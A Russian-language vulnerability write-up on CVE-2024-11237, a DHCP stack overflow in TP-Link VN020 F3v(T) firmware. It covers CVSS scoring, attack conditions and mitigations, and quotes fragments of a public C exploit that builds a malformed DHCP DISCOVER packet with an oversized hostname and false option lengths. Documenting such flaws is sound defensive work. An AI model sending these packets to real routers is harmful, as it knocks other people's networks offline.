Уязвимость DHCP-сервера микропрограммного обеспечения Wi-Fi роутеров TP-Link VN020 F3v(T)
Уязвимость DHCP-сервера микропрограммного обеспечения Wi-Fi роутеров TP-Link VN020 F3v(T)
Категория: Программы Теги: Уязвимости Опубликовано: 14 мая 2025

Уязвимость BDU:2024-10715 (CVE-2024-11237) в TP-Link VN020 F3v(T)

Уязвимость BDU:2024-10715 (CVE-2024-11237) связана с стековым переполнением буфера в DHCP-сервере прошивки роутеров TP-Link VN020 F3v(T) версии TT_V6.2.1021.

Анализ уязвимости

Уровень опасности: 7.5 (Высокий)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • AV:N (Сетевой вектор)

  • AC:L (Низкая сложность эксплуатации)

  • PR:N (Привилегии не требуются)

  • UI:N (Взаимодействие с пользователем отсутствует)

  • S:U (Влияние на другие системы отсутствует)

  • C:N (Конфиденциальность не нарушена)

  • I:N (Целостность не нарушена)

  • A:H (Высокое влияние на доступность)

Интерпретация: Уязвимость позволяет удаленно нарушить доступность системы без необходимости привилегий, сложных условий или взаимодействия с пользователем.

Атака возможна через отправку специально сформированного DHCP DISCOVER-пакета с аномальными параметрами:

  1. Переполнение hostname – передача строки длиной 127 байт вместо допустимых 64.

  2. Поддельные длины опций – несоответствие заявленной длины и реальных данных.

  3. Обработка vendor-specific опций – некорректный парсинг полей производителя.

Условия эксплуатации

  • Атакующий должен находиться в локальной сети роутера (DHCP-пакеты не маршрутизируются через интернет).

  • Доступ к веб-интерфейсу роутера не требуется – атака выполняется через UDP-порт 67.

  • Уязвимы только устройства с прошивкой TT_V6.2.1021 (аппаратная версия 1.0).


Анализ эксплойта

Эксплойт из общего доступа для уязвимости BDU:2024-10715 (CVE-2024-11237) написан на C и использует WinAPI для отправки UDP-пакетов. Рассмотрим ключевые фрагменты:

1. Формирование DHCP DISCOVER-пакета

void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {
    // ...
    // Установка Transaction ID (случайное значение для обхода фильтров)
    unsigned int xid = (unsigned int)rand();
    *((unsigned int*)&packet[offset]) = htonl(xid);
    offset += 4;

    // MAC-адрес источника (DE:AD:BE:EF:00:01)
    packet[offset++] = 0xDE;
    packet[offset++] = 0xAD;
    packet[offset++] = 0xBE;
    // ...
}

Здесь создается базовый DHCP-запрос с поддельным MAC-адресом. Это позволяет обойти возможные фильтры на основе реальных клиентских адресов.

2. Добавление уязвимых опций
Функция tp_link() формирует вредоносные DHCP-опции:

void tp_link(unsigned char* packet, int* offset) {
    // Vendor-specific опция с некорректными данными
    unsigned char vendor_specific[] = {0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF};
    add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific);

    // Hostname длиной 127 байт (превышение буфера)
    unsigned char long_hostname[128];
    memset(long_hostname, 'A', sizeof(long_hostname)-1);
    add_option(packet, offset, 0x0C, 127, long_hostname);

    // Опция 0x3D с ложной длиной 0xFF
    add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]){0x01});
}
  • 0x2B (Vendor Specific) – содержит данные, нарушающие логику парсинга.

  • 0x0C (Hostname) – вызывает переполнение стека при копировании.

  • 0x3D (Client Identifier) – заявленная длина 255 байт (0xFF) при реальных 1 байте, что приводит к чтению мусорных данных.

3. Механизм переполнения
При обработке hostname происходит копирование 127 байт в буфер размером 64 байта:

; Пример дизассемблированного кода роутера
mov ecx, 127       ; Длина из пакета
lea edi, [ebp-64]  ; Буфер 64 байта
rep movsb          ; Переполнение стека!

Это перезаписывает соседние структуры стека, включая адрес возврата, что приводит к краху процесса.


Способы защиты

  1. Обновление прошивки – установка патча от TP-Link.

  2. Отключение DHCP – использование статических IP.

  3. Сетевые фильтры – блокировка DHCP-пакетов от непроверенных устройств.

  4. DHCP Snooping – настройка на коммутаторах для валидации DHCP-трафика.

Алексей Черемных Алексей Черемных
39